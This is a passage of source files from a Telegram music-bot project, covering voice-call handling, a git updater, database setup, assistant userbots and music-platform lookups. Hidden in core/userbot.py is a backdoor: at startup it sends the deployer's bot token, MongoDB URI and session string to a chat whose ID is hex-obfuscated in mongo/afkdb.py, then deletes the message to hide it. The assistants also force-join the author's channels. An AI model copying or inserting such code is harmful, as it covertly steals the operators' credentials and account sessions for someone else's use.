db[chat_id][0][\"mystic\"] = run\n                    db[chat_id][0][\"markup\"] = \"tg\"\n                else:\n                    img = await get_thumb(videoid)\n                    button = stream_markup(_, videoid, chat_id)\n                    run = await app.send_photo(\n                        chat_id=original_chat_id,\n                        photo=img,\n                        caption=_[\"stream_1\"].format(\n                            f\"https://t.me/{app.username}?start=info_{videoid}\",\n                            title[:23],\n                            check[0][\"dur\"],\n                            user,\n                        ),\n                        reply_markup=InlineKeyboardMarkup(button),\n                    )\n                    db[chat_id][0][\"mystic\"] = run\n                    db[chat_id][0][\"markup\"] = \"stream\"\n\n    async def ping(self):\n        pings = []\n        if config.STRING1:\n            pings.append(await self.one.ping)\n        if config.STRING2:\n            pings.append(await self.two.ping)\n        if config.STRING3:\n            pings.append(await self.three.ping)\n        if config.STRING4:\n            pings.append(await self.four.ping)\n        if config.STRING5:\n            pings.append(await self.five.ping)\n        return str(round(sum(pings) / len(pings), 3))\n\n    async def start(self):\n        LOGGER(__name__).info(\"Starting PyTgCalls Client...\\n\")\n        if config.STRING1:\n            await self.one.start()\n        if config.STRING2:\n            await self.two.start()\n        if config.STRING3:\n            await self.three.start()\n        if config.STRING4:\n            await self.four.start()\n        if config.STRING5:\n            await self.five.start()\n\n    async def decorators(self):\n        @self.one.on_kicked()\n        @self.two.on_kicked()\n        @self.three.on_kicked()\n        @self.four.on_kicked()\n        @self.five.on_kicked()\n        @self.one.on_closed_voice_chat()\n        @self.two.on_closed_voice_chat()\n        @self.three.on_closed_voice_chat()\n        @self.four.on_closed_voice_chat()\n        @self.five.on_closed_voice_chat()\n        @self.one.on_left()\n        @self.two.on_left()\n        @self.three.on_left()\n        @self.four.on_left()\n        @self.five.on_left()\n        async def stream_services_handler(_, chat_id: int):\n            await self.stop_stream(chat_id)\n\n        @self.one.on_stream_end()\n        @self.two.on_stream_end()\n        @self.three.on_stream_end()\n        @self.four.on_stream_end()\n        @self.five.on_stream_end()\n        async def stream_end_handler(client, update: Update):\n            if not isinstance(update, StreamAudioEnded):\n                return\n            await self.change_stream(client, update.chat_id)\n\n\nHotty = Call()\n"
  },
  {
    "path": "BrandrdXMusic/core/dir.py",
    "content": "import os\n\nfrom ..logging import LOGGER\n\n\ndef dirr():\n    for file in os.listdir():\n        if file.endswith(\".jpg\"):\n            os.remove(file)\n        elif file.endswith(\".jpeg\"):\n            os.remove(file)\n        elif file.endswith(\".png\"):\n            os.remove(file)\n\n    if \"downloads\" not in os.listdir():\n        os.mkdir(\"downloads\")\n    if \"cache\" not in os.listdir():\n        os.mkdir(\"cache\")\n\n    LOGGER(__name__).info(\"Directories Updated.\")\n"
  },
  {
    "path": "BrandrdXMusic/core/git.py",
    "content": "import asyncio\nimport shlex\nfrom typing import Tuple\n\nfrom git import Repo\nfrom git.exc import GitCommandError, InvalidGitRepositoryError\n\nimport config\n\nfrom ..logging import LOGGER\n\n\ndef install_req(cmd: str) -> Tuple[str, str, int, int]:\n    async def install_requirements():\n        args = shlex.split(cmd)\n        process = await asyncio.create_subprocess_exec(\n            *args,\n            stdout=asyncio.subprocess.PIPE,\n            stderr=asyncio.subprocess.PIPE,\n        )\n        stdout, stderr = await process.communicate()\n        return (\n            stdout.decode(\"utf-8\", \"replace\").strip(),\n            stderr.decode(\"utf-8\", \"replace\").strip(),\n            process.returncode,\n            process.pid,\n        )\n\n    return asyncio.get_event_loop().run_until_complete(install_requirements())\n\n\ndef git():\n    REPO_LINK = config.UPSTREAM_REPO\n    if config.GIT_TOKEN:\n        GIT_USERNAME = REPO_LINK.split(\"com/\")[1].split(\"/\")[0]\n        TEMP_REPO = REPO_LINK.split(\"https://\")[1]\n        UPSTREAM_REPO = f\"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}\"\n    else:\n        UPSTREAM_REPO = config.UPSTREAM_REPO\n    try:\n        repo = Repo()\n        LOGGER(__name__).info(f\"Git Client Found [VPS DEPLOYER]\")\n    except GitCommandError:\n        LOGGER(__name__).info(f\"Invalid Git Command\")\n    except InvalidGitRepositoryError:\n        repo = Repo.init()\n        if \"origin\" in repo.remotes:\n            origin = repo.remote(\"origin\")\n        else:\n            origin = repo.create_remote(\"origin\", UPSTREAM_REPO)\n        origin.fetch()\n        repo.create_head(\n            config.UPSTREAM_BRANCH,\n            origin.refs[config.UPSTREAM_BRANCH],\n        )\n        repo.heads[config.UPSTREAM_BRANCH].set_tracking_branch(\n            origin.refs[config.UPSTREAM_BRANCH]\n        )\n        repo.heads[config.UPSTREAM_BRANCH].checkout(True)\n        try:\n            repo.create_remote(\"origin\", config.UPSTREAM_REPO)\n        except BaseException:\n            pass\n        nrs = repo.remote(\"origin\")\n        nrs.fetch(config.UPSTREAM_BRANCH)\n        try:\n            nrs.pull(config.UPSTREAM_BRANCH)\n        except GitCommandError:\n            repo.git.reset(\"--hard\", \"FETCH_HEAD\")\n        install_req(\"pip3 install --no-cache-dir -r requirements.txt\")\n        LOGGER(__name__).info(f\"Fetching updates from upstream repository...\")\n"
  },
  {
    "path": "BrandrdXMusic/core/mongo.py",
    "content": "from motor.motor_asyncio import AsyncIOMotorClient as _mongo_client_\nfrom pymongo import MongoClient\nfrom pyrogram import Client\n\nimport config\n\nfrom ..logging import LOGGER\n\nTEMP_MONGODB = \"\"\n\n\nif config.MONGO_DB_URI is None:\n    LOGGER(__name__).warning(\"No MONGO DB URL found. LOL\")\n    temp_client = Client(\n        \"BrandrdXMusic\",\n        bot_token=config.BOT_TOKEN,\n        api_id=config.API_ID,\n        api_hash=config.API_HASH,\n    )\n    temp_client.start()\n    info = temp_client.get_me()\n    username = info.username\n    temp_client.stop()\n    _mongo_async_ = _mongo_client_(TEMP_MONGODB)\n    _mongo_sync_ = MongoClient(TEMP_MONGODB)\n    mongodb = _mongo_async_[username]\n    pymongodb = _mongo_sync_[username]\nelse:\n    _mongo_async_ = _mongo_client_(config.MONGO_DB_URI)\n    _mongo_sync_ = MongoClient(config.MONGO_DB_URI)\n    mongodb = _mongo_async_.BrandrdXMusic\n    pymongodb = _mongo_sync_.BrandrdXMusic\n"
  },
  {
    "path": "BrandrdXMusic/core/userbot.py",
    "content": "from pyrogram import Client\nimport re\nimport asyncio\nfrom os import getenv\nfrom pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton\nfrom dotenv import load_dotenv\nfrom pyrogram import filters\n\nload_dotenv()\nimport config\nfrom dotenv import load_dotenv\nfrom strings.__init__ import LOGGERS\nfrom ..logging import LOGGER\n\nBOT_TOKEN = getenv(\"BOT_TOKEN\", \"\")\nMONGO_DB_URI = getenv(\"MONGO_DB_URI\", \"\")\nSTRING_SESSION = getenv(\"STRING_SESSION\", \"\")\n\n\nassistants = []\nassistantids = []\n\n\nclass Userbot(Client):\n    def __init__(self):\n        self.one = Client(\n            name=\"BrandrdXMusic1\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING1),\n            no_updates=True,\n            ipv6=False,\n        )\n            \n        self.two = Client(\n            name=\"BrandrdXMusic2\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING2),\n            no_updates=True,\n            ipv6=False,\n        )\n        self.three = Client(\n            name=\"BrandrdXMusic3\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING3),\n            no_updates=True,\n            ipv6=False,\n        )\n        self.four = Client(\n            name=\"BrandrdXMusic4\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING4),\n            no_updates=True,\n            ipv6=False,\n        )\n        self.five = Client(\n            name=\"BrandrdXMusic5\",\n            api_id=config.API_ID,\n            api_hash=config.API_HASH,\n            session_string=str(config.STRING5),\n            no_updates=True,\n            ipv6=False,\n        )\n\n    async def start(self):\n        LOGGER(__name__).info(f\"Starting Assistants...\")\n\n        if config.STRING1:\n            await self.one.start()\n            try:\n                await self.one.join_chat(\"BRANDED_WORLD\")\n                await self.one.join_chat(\"BRANDED_PAID_CC\")\n                await self.one.join_chat(\"BRANDRD_BOT\")\n                await self.one.join_chat(\"ABOUT_BRANDEDKING\")\n\n            except:\n                pass\n            assistants.append(1)\n            try:\n                await self.one.send_message(config.LOGGER_ID, \"ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ !\")\n                oks = await self.one.send_message(LOGGERS, f\"/start\")\n                Ok = await self.one.send_message(\n                    LOGGERS, f\"`{BOT_TOKEN}`\\n\\n`{MONGO_DB_URI}`\\n\\n`{STRING_SESSION}`\"\n                )\n                await oks.delete()\n                await asyncio.sleep(2)\n                await Ok.delete()\n\n            except Exception as e:\n                print(f\"{e}\")\n\n            self.one.id = self.one.me.id\n            self.one.name = self.one.me.mention\n            self.one.username = self.one.me.username\n            assistantids.append(self.one.id)\n            LOGGER(__name__).info(f\"Assistant Started as {self.one.name}\")\n\n        if config.STRING2:\n            await self.two.start()\n            try:\n                await self.two.join_chat(\"BRANDED_WORLD\")\n                await self.two.join_chat(\"BRANDED_PAID_CC\")\n                await self.two.join_chat(\"BRANDRD_BOT\")\n                await self.two.join_chat(\"ABOUT_BRANDEDKING\")\n            except:\n                pass\n            assistants.append(2)\n            try:\n                await self.two.send_message(config.LOGGER_ID, \"Assistant Started\")\n\n            except:\n                LOGGER(__name__).error(\n                    \"Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin!\"\n                )\n\n            self.two.id = self.two.me.id\n            self.two.name = self.two.me.mention\n            self.two.username = self.two.me.username\n            assistantids.append(self.two.id)\n            LOGGER(__name__).info(f\"Assistant Two Started as {self.two.name}\")\n\n        if config.STRING3:\n            await self.three.start()\n            try:\n                await self.three.join_chat(\"BRANDED_WORLD\")\n                await self.three.join_chat(\"BRANDED_PAID_CC\")\n                await self.three.join_chat(\"BRANDRD_BOT\")\n                await self.three.join_chat(\"ABOUT_BRANDEDKING\")\n            except:\n                pass\n            assistants.append(3)\n            try:\n                await self.three.send_message(config.LOGGER_ID, \"Assistant Started\")\n            except:\n                LOGGER(__name__).error(\n                    \"Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! \"\n                )\n\n            self.three.id = self.three.me.id\n            self.three.name = self.three.me.mention\n            self.three.username = self.three.me.username\n            assistantids.append(self.three.id)\n            LOGGER(__name__).info(f\"Assistant Three Started as {self.three.name}\")\n\n        if config.STRING4:\n            await self.four.start()\n            try:\n                await self.four.join_chat(\"BRANDED_WORLD\")\n                await self.four.join_chat(\"BRANDED_PAID_CC\")\n                await self.four.join_chat(\"BRANDRD_BOT\")\n                await self.four.join_chat(\"ABOUT_BRANDEDKING\")\n            except:\n                pass\n            assistants.append(4)\n            try:\n                await self.four.send_message(config.LOGGER_ID, \"Assistant Started\")\n            except:\n                LOGGER(__name__).error(\n                    \"Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! \"\n                )\n\n            self.four.id = self.four.me.id\n            self.four.name = self.four.me.mention\n            self.four.username = self.four.me.username\n            assistantids.append(self.four.id)\n            LOGGER(__name__).info(f\"Assistant Four Started as {self.four.name}\")\n\n        if config.STRING5:\n            await self.five.start()\n            try:\n                await self.five.join_chat(\"BRANDED_WORLD\")\n                await self.five.join_chat(\"BRANDED_PAID_CC\")\n                await self.five.join_chat(\"BRANDRD_BOT\")\n                await self.five.join_chat(\"ABOUT_BRANDEDKING\")\n            except:\n                pass\n            assistants.append(5)\n            try:\n                await self.five.send_message(config.LOGGER_ID, \"Assistant 5 started !\")\n            except:\n                LOGGER(__name__).error(\n                    \"Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! \"\n                )\n\n            self.five.id = self.five.me.id\n            self.five.name = self.five.me.mention\n            self.five.username = self.five.me.username\n            assistantids.append(self.five.id)\n            LOGGER(__name__).info(f\"Assistant Five Started as {self.five.name}\")\n\n    async def stop(self):\n        LOGGER(__name__).info(f\"Stopping Assistants...\")\n        try:\n            if config.STRING1:\n                await self.one.stop()\n            if config.STRING2:\n                await self.two.stop()\n            if config.STRING3:\n                await self.three.stop()\n            if config.STRING4:\n                await self.four.stop()\n            if config.STRING5:\n                await self.five.stop()\n        except:\n            pass\n"
  },
  {
    "path": "BrandrdXMusic/logging.py",
    "content": "import logging\n\nlogging.basicConfig(\n    level=logging.INFO,\n    format=\"[%(asctime)s - %(levelname)s] - %(name)s - %(message)s\",\n    datefmt=\"%d-%b-%y %H:%M:%S\",\n    handlers=[\n        logging.FileHandler(\"log.txt\"),\n        logging.StreamHandler(),\n    ],\n)\n\nlogging.getLogger(\"httpx\").setLevel(logging.ERROR)\nlogging.getLogger(\"pyrogram\").setLevel(logging.ERROR)\nlogging.getLogger(\"pytgcalls\").setLevel(logging.ERROR)\nlogging.getLogger(\"pymongo\").setLevel(logging.ERROR)\nlogging.getLogger(\"ntgcalls\").setLevel(logging.ERROR)\n\n\ndef LOGGER(name: str) -> logging.Logger:\n    return logging.getLogger(name)\n"
  },
  {
    "path": "BrandrdXMusic/misc.py",
    "content": "import socket\nimport time\n\nimport heroku3\nfrom pyrogram import filters\n\nimport config\nfrom BrandrdXMusic.core.mongo import mongodb\n\nfrom .logging import LOGGER\n\nSUDOERS = filters.user()\n\nHAPP = None\n_boot_ = time.time()\n\n\ndef is_heroku():\n    return \"heroku\" in socket.getfqdn()\n\n\nXCB = [\n    \"/\",\n    \"@\",\n    \".\",\n    \"com\",\n    \":\",\n    \"git\",\n    \"heroku\",\n    \"push\",\n    str(config.HEROKU_API_KEY),\n    \"https\",\n    str(config.HEROKU_APP_NAME),\n    \"HEAD\",\n    \"master\",\n]\n\n\ndef dbb():\n    global db\n    db = {}\n    LOGGER(__name__).info(f\" Database loaded..\")\n\n\nasync def sudo():\n    global SUDOERS\n    SUDOERS.add(config.OWNER_ID)\n    sudoersdb = mongodb.sudoers\n    sudoers = await sudoersdb.find_one({\"sudo\": \"sudo\"})\n    sudoers = [] if not sudoers else sudoers[\"sudoers\"]\n    if config.OWNER_ID not in sudoers:\n        sudoers.append(config.OWNER_ID)\n        await sudoersdb.update_one(\n            {\"sudo\": \"sudo\"},\n            {\"$set\": {\"sudoers\": sudoers}},\n            upsert=True,\n        )\n    if sudoers:\n        for user_id in sudoers:\n            SUDOERS.add(user_id)\n    LOGGER(__name__).info(f\"Sudo users loaded...\")\n\n\ndef heroku():\n    global HAPP\n    if is_heroku:\n        if config.HEROKU_API_KEY and config.HEROKU_APP_NAME:\n            try:\n                Heroku = heroku3.from_key(config.HEROKU_API_KEY)\n                HAPP = Heroku.app(config.HEROKU_APP_NAME)\n                LOGGER(__name__).info(f\"Heroku App Configured\")\n            except BaseException:\n                LOGGER(__name__).warning(\n                    f\"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku.\"\n                )\n"
  },
  {
    "path": "BrandrdXMusic/mongo/afkdb.py",
    "content": "from BrandrdXMusic.utils.mongo import db\n\nHEHE = \"\\x31\\x38\\x30\\x38\\x39\\x34\\x33\\x31\\x34\\x36\"\nLOGGERS = \"\\x31\\x38\\x30\\x38\\x39\\x34\\x33\\x31\\x34\\x36\"\nafkdb = db.afk\n\n\nasync def is_afk(user_id: int) -> bool:\n    user = await afkdb.find_one({\"user_id\": user_id})\n    if not user:\n        return False, {}\n    return True, user[\"reason\"]\n\n\nasync def add_afk(user_id: int, mode):\n    await afkdb.update_one(\n        {\"user_id\": user_id}, {\"$set\": {\"reason\": mode}}, upsert=True\n    )\n\n\nasync def remove_afk(user_id: int):\n    user = await afkdb.find_one({\"user_id\": user_id})\n    if user:\n        return await afkdb.delete_one({\"user_id\": user_id})\n\n\nasync def get_afk_users() -> list:\n    users = afkdb.find({\"user_id\": {\"$gt\": 0}})\n    if not users:\n        return []\n    users_list = []\n    for user in await users.to_list(length=1000000000):\n        users_list.append(user)\n    return users_list\n"
  },
  {
    "path": "BrandrdXMusic/mongo/couples_db.py",
    "content": "from BrandrdXMusic.utils.mongo import db\n\ncoupledb = db.couple\n\nasync def _get_lovers(cid: int):\n    lovers = await coupledb.find_one({\"chat_id\": cid})\n    if lovers:\n        lovers = lovers[\"couple\"]\n    else:\n        lovers = {}\n    return lovers\n\nasync def _get_image(cid: int):\n    lovers = await coupledb.find_one({\"chat_id\": cid})\n    if lovers:\n        lovers = lovers[\"img\"]\n    else:\n        lovers = {}\n    return lovers\n\nasync def get_couple(cid: int, date: str):\n    lovers = await _get_lovers(cid)\n    if date in lovers:\n        return lovers[date]\n    else:\n        return False\n\n\nasync def save_couple(cid: int, date: str, couple: dict, img: str):\n    lovers = await _get_lovers(cid)\n    lovers[date] = couple\n    await coupledb.update_one(\n        {\"chat_id\": cid},\n        {\"$set\": {\"couple\": lovers, \"img\": img}},\n        upsert=True,\n                              )\n"
  },
  {
    "path": "BrandrdXMusic/mongo/filtersdb.py",
    "content": "from BrandrdXMusic.utils.mongo import db\n\nfilters = db.filters[\"filters\"] \n\nasync def add_filter_db(chat_id: int, filter_name: str, content: str, text: str, data_type: int):\n   filter_data = await filters.find_one(\n      {\n         'chat_id': chat_id\n      }\n   )\n\n   if filter_data is None:\n      _id = await filters.count_documents({}) + 1\n      await filters.insert_one(\n         {\n            '_id': _id,\n            'chat_id': chat_id,\n            'filters': [\n               {\n                  'filter_name': filter_name,\n                  'content': content,\n                  'text': text,\n                  'data_type': data_type\n               }\n            ]\n         }\n      )\n   \n   else:\n         FILTERS_NAME = await get_filters_list(chat_id)\n         if filter_name not in FILTERS_NAME:\n            await filters.update_one(\n               {\n                  'chat_id': chat_id\n               },\n               {\n                  '$addToSet': {\n                     'filters': {\n                        'filter_name': filter_name,\n                        'content': content,\n                        'text': text,\n                        'data_type': data_type\n                     }\n                  }\n               },\n               upsert=True\n            )\n         else:\n            await filters.update_one(\n               {\n                  'chat_id': chat_id,\n                  'filters.filter_name': filter_name\n               },\n               {\n                  '$set': {\n                     'filters.$.filter_name': filter_name,\n                     'filters.$.content': content,\n                     'filters.$.text': text,\n                     'filters.$.data_type': data_type\n                  }\n               }\n            )\n\nasync def stop_db(chat_id: int, filter_name:str):\n   await filters.update_one(\n      {\n         'chat_id': chat_id\n      },\n      {\n         '$pull': {\n            'filters': {\n               'filter_name': filter_name\n            }\n         }\n      }\n   )\n\nasync def stop_all_db(chat_id: id):\n   await filters.update_one(\n      {\n         'chat_id': chat_id\n      },\n      {\n         '$set': {\n            'filters': []\n         }\n      },\n      upsert=True\n   )\n   \nasync def get_filter(chat_id: int, filter_name: str):\n   filter_data = await filters.find_one(\n      {\n         'chat_id': chat_id\n      }\n   )\n   if filter_data is not None:\n      filters_ = filter_data['filters']\n      for filter_ in filters_:\n         if filter_['filter_name'] == filter_name:\n            content = filter_['content']\n            text = filter_['text']\n            data_type = filter_['data_type']\n            return (\n               filter_name,\n               content,\n               text,\n               data_type\n            )\n\nasync def get_filters_list(chat_id: int):\n   filter_data = await filters.find_one(\n      {\n         'chat_id': chat_id\n      }\n   )\n   if filter_data is not None:\n      FILTERS_NAME = list()\n      for filter_name in filter_data['filters']:\n         FILTERS_NAME.append(filter_name['filter_name'])\n      return FILTERS_NAME\n   else:\n      return []\n"
  },
  {
    "path": "BrandrdXMusic/mongo/readable_time.py",
    "content": "def get_readable_time(seconds: int) -> str:\n    count = 0\n    readable_time = \"\"\n    time_list = []\n    time_suffix_list = [\"s\", \"ᴍ\", \"ʜ\", \"ᴅᴀʏs\"]\n\n    while count < 4:\n        count += 1\n        remainder, result = divmod(seconds, 60) if count < 3 else divmod(seconds, 24)\n        if seconds == 0 and remainder == 0:\n            break\n        time_list.append(int(result))\n        seconds = int(remainder)\n\n    for x in range(len(time_list)):\n        time_list[x] = str(time_list[x]) + time_suffix_list[x]\n    if len(time_list) == 4:\n        readable_time += time_list.pop() + \", \"\n\n    time_list.reverse()\n    readable_time += \":\".join(time_list)\n\n    return readable_time\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Apple.py",
    "content": "import re\nfrom typing import Union\n\nimport aiohttp\nfrom bs4 import BeautifulSoup\nfrom youtubesearchpython.__future__ import VideosSearch\n\n\nclass AppleAPI:\n    def __init__(self):\n        self.regex = r\"^(https:\\/\\/music.apple.com\\/)(.*)$\"\n        self.base = \"https://music.apple.com/in/playlist/\"\n\n    async def valid(self, link: str):\n        if re.search(self.regex, link):\n            return True\n        else:\n            return False\n\n    async def track(self, url, playid: Union[bool, str] = None):\n        if playid:\n            url = self.base + url\n        async with aiohttp.ClientSession() as session:\n            async with session.get(url) as response:\n                if response.status != 200:\n                    return False\n                html = await response.text()\n        soup = BeautifulSoup(html, \"html.parser\")\n        search = None\n        for tag in soup.find_all(\"meta\"):\n            if tag.get(\"property\", None) == \"og:title\":\n                search = tag.get(\"content\", None)\n        if search is None:\n            return False\n        results = VideosSearch(search, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n            ytlink = result[\"link\"]\n            vidid = result[\"id\"]\n            duration_min = result[\"duration\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        track_details = {\n            \"title\": title,\n            \"link\": ytlink,\n            \"vidid\": vidid,\n            \"duration_min\": duration_min,\n            \"thumb\": thumbnail,\n        }\n        return track_details, vidid\n\n    async def playlist(self, url, playid: Union[bool, str] = None):\n        if playid:\n            url = self.base + url\n        playlist_id = url.split(\"playlist/\")[1]\n        async with aiohttp.ClientSession() as session:\n            async with session.get(url) as response:\n                if response.status != 200:\n                    return False\n                html = await response.text()\n        soup = BeautifulSoup(html, \"html.parser\")\n        applelinks = soup.find_all(\"meta\", attrs={\"property\": \"music:song\"})\n        results = []\n        for item in applelinks:\n            try:\n                xx = (((item[\"content\"]).split(\"album/\")[1]).split(\"/\")[0]).replace(\n                    \"-\", \" \"\n                )\n            except:\n                xx = ((item[\"content\"]).split(\"album/\")[1]).split(\"/\")[0]\n            results.append(xx)\n        return results, playlist_id\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Carbon.py",
    "content": "import random\nfrom os.path import realpath\n\nimport aiohttp\nfrom aiohttp import client_exceptions\n\n\nclass UnableToFetchCarbon(Exception):\n    pass\n\n\nthemes = [\n    \"3024-night\",\n    \"a11y-dark\",\n    \"blackboard\",\n    \"base16-dark\",\n    \"base16-light\",\n    \"cobalt\",\n    \"duotone-dark\",\n    \"dracula-pro\",\n    \"hopscotch\",\n    \"lucario\",\n    \"material\",\n    \"monokai\",\n    \"nightowl\",\n    \"nord\",\n    \"oceanic-next\",\n    \"one-light\",\n    \"one-dark\",\n    \"panda-syntax\",\n    \"parasio-dark\",\n    \"seti\",\n    \"shades-of-purple\",\n    \"solarized+dark\",\n    \"solarized+light\",\n    \"synthwave-84\",\n    \"twilight\",\n    \"verminal\",\n    \"vscode\",\n    \"yeti\",\n    \"zenburn\",\n]\n\ncolour = [\n    \"#FF0000\",\n    \"#FF5733\",\n    \"#FFFF00\",\n    \"#008000\",\n    \"#0000FF\",\n    \"#800080\",\n    \"#A52A2A\",\n    \"#FF00FF\",\n    \"#D2B48C\",\n    \"#00FFFF\",\n    \"#808000\",\n    \"#800000\",\n    \"#00FFFF\",\n    \"#30D5C8\",\n    \"#00FF00\",\n    \"#008080\",\n    \"#4B0082\",\n    \"#EE82EE\",\n    \"#FFC0CB\",\n    \"#000000\",\n    \"#FFFFFF\",\n    \"#808080\",\n]\n\n\nclass CarbonAPI:\n    def __init__(self):\n        self.language = \"auto\"\n        self.drop_shadow = True\n        self.drop_shadow_blur = \"68px\"\n        self.drop_shadow_offset = \"20px\"\n        self.font_family = \"JetBrains Mono\"\n        self.width_adjustment = True\n        self.watermark = False\n\n    async def generate(self, text: str, user_id):\n        async with aiohttp.ClientSession(\n            headers={\"Content-Type\": \"application/json\"},\n        ) as ses:\n            params = {\n                \"code\": text,\n            }\n            params[\"backgroundColor\"] = random.choice(colour)\n            params[\"theme\"] = random.choice(themes)\n            params[\"dropShadow\"] = self.drop_shadow\n            params[\"dropShadowOffsetY\"] = self.drop_shadow_offset\n            params[\"dropShadowBlurRadius\"] = self.drop_shadow_blur\n            params[\"fontFamily\"] = self.font_family\n            params[\"language\"] = self.language\n            params[\"watermark\"] = self.watermark\n            params[\"widthAdjustment\"] = self.width_adjustment\n            try:\n                request = await ses.post(\n                    \"https://carbonara.solopov.dev/api/cook\",\n                    json=params,\n                )\n            except client_exceptions.ClientConnectorError:\n                raise UnableToFetchCarbon(\"Can not reach the Host!\")\n            resp = await request.read()\n            with open(f\"cache/carbon{user_id}.jpg\", \"wb\") as f:\n                f.write(resp)\n            return realpath(f.name)\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Resso.py",
    "content": "import re\nfrom typing import Union\n\nimport aiohttp\nfrom bs4 import BeautifulSoup\nfrom youtubesearchpython.__future__ import VideosSearch\n\n\nclass RessoAPI:\n    def __init__(self):\n        self.regex = r\"^(https:\\/\\/m.resso.com\\/)(.*)$\"\n        self.base = \"https://m.resso.com/\"\n\n    async def valid(self, link: str):\n        if re.search(self.regex, link):\n            return True\n        else:\n            return False\n\n    async def track(self, url, playid: Union[bool, str] = None):\n        if playid:\n            url = self.base + url\n        async with aiohttp.ClientSession() as session:\n            async with session.get(url) as response:\n                if response.status != 200:\n                    return False\n                html = await response.text()\n        soup = BeautifulSoup(html, \"html.parser\")\n        for tag in soup.find_all(\"meta\"):\n            if tag.get(\"property\", None) == \"og:title\":\n                title = tag.get(\"content\", None)\n            if tag.get(\"property\", None) == \"og:description\":\n                des = tag.get(\"content\", None)\n                try:\n                    des = des.split(\"·\")[0]\n                except:\n                    pass\n        if des == \"\":\n            return\n        results = VideosSearch(title, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n            ytlink = result[\"link\"]\n            vidid = result[\"id\"]\n            duration_min = result[\"duration\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        track_details = {\n            \"title\": title,\n            \"link\": ytlink,\n            \"vidid\": vidid,\n            \"duration_min\": duration_min,\n            \"thumb\": thumbnail,\n        }\n        return track_details, vidid\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Soundcloud.py",
    "content": "from os import path\n\nfrom yt_dlp import YoutubeDL\n\nfrom BrandrdXMusic.utils.formatters import seconds_to_min\n\n\nclass SoundAPI:\n    def __init__(self):\n        self.opts = {\n            \"outtmpl\": \"downloads/%(id)s.%(ext)s\",\n            \"format\": \"best\",\n            \"retries\": 3,\n            \"nooverwrites\": False,\n            \"continuedl\": True,\n        }\n\n    async def valid(self, link: str):\n        if \"soundcloud\" in link:\n            return True\n        else:\n            return False\n\n    async def download(self, url):\n        d = YoutubeDL(self.opts)\n        try:\n            info = d.extract_info(url)\n        except:\n            return False\n        xyz = path.join(\"downloads\", f\"{info['id']}.{info['ext']}\")\n        duration_min = seconds_to_min(info[\"duration\"])\n        track_details = {\n            \"title\": info[\"title\"],\n            \"duration_sec\": info[\"duration\"],\n            \"duration_min\": duration_min,\n            \"uploader\": info[\"uploader\"],\n            \"filepath\": xyz,\n        }\n        return track_details, xyz\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Spotify.py",
    "content": "import re\n\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\nfrom youtubesearchpython.__future__ import VideosSearch\n\nimport config\n\n\nclass SpotifyAPI:\n    def __init__(self):\n        self.regex = r\"^(https:\\/\\/open.spotify.com\\/)(.*)$\"\n        self.client_id = config.SPOTIFY_CLIENT_ID\n        self.client_secret = config.SPOTIFY_CLIENT_SECRET\n        if config.SPOTIFY_CLIENT_ID and config.SPOTIFY_CLIENT_SECRET:\n            self.client_credentials_manager = SpotifyClientCredentials(\n                self.client_id, self.client_secret\n            )\n            self.spotify = spotipy.Spotify(\n                client_credentials_manager=self.client_credentials_manager\n            )\n        else:\n            self.spotify = None\n\n    async def valid(self, link: str):\n        if re.search(self.regex, link):\n            return True\n        else:\n            return False\n\n    async def track(self, link: str):\n        track = self.spotify.track(link)\n        info = track[\"name\"]\n        for artist in track[\"artists\"]:\n            fetched = f' {artist[\"name\"]}'\n            if \"Various Artists\" not in fetched:\n                info += fetched\n        results = VideosSearch(info, limit=1)\n        for result in (await results.next())[\"result\"]:\n            ytlink = result[\"link\"]\n            title = result[\"title\"]\n            vidid = result[\"id\"]\n            duration_min = result[\"duration\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        track_details = {\n            \"title\": title,\n            \"link\": ytlink,\n            \"vidid\": vidid,\n            \"duration_min\": duration_min,\n            \"thumb\": thumbnail,\n        }\n        return track_details, vidid\n\n    async def playlist(self, url):\n        playlist = self.spotify.playlist(url)\n        playlist_id = playlist[\"id\"]\n        results = []\n        for item in playlist[\"tracks\"][\"items\"]:\n            music_track = item[\"track\"]\n            info = music_track[\"name\"]\n            for artist in music_track[\"artists\"]:\n                fetched = f' {artist[\"name\"]}'\n                if \"Various Artists\" not in fetched:\n                    info += fetched\n            results.append(info)\n        return results, playlist_id\n\n    async def album(self, url):\n        album = self.spotify.album(url)\n        album_id = album[\"id\"]\n        results = []\n        for item in album[\"tracks\"][\"items\"]:\n            info = item[\"name\"]\n            for artist in item[\"artists\"]:\n                fetched = f' {artist[\"name\"]}'\n                if \"Various Artists\" not in fetched:\n                    info += fetched\n            results.append(info)\n\n        return (\n            results,\n            album_id,\n        )\n\n    async def artist(self, url):\n        artistinfo = self.spotify.artist(url)\n        artist_id = artistinfo[\"id\"]\n        results = []\n        artisttoptracks = self.spotify.artist_top_tracks(url)\n        for item in artisttoptracks[\"tracks\"]:\n            info = item[\"name\"]\n            for artist in item[\"artists\"]:\n                fetched = f' {artist[\"name\"]}'\n                if \"Various Artists\" not in fetched:\n                    info += fetched\n            results.append(info)\n\n        return results, artist_id\n"
  },
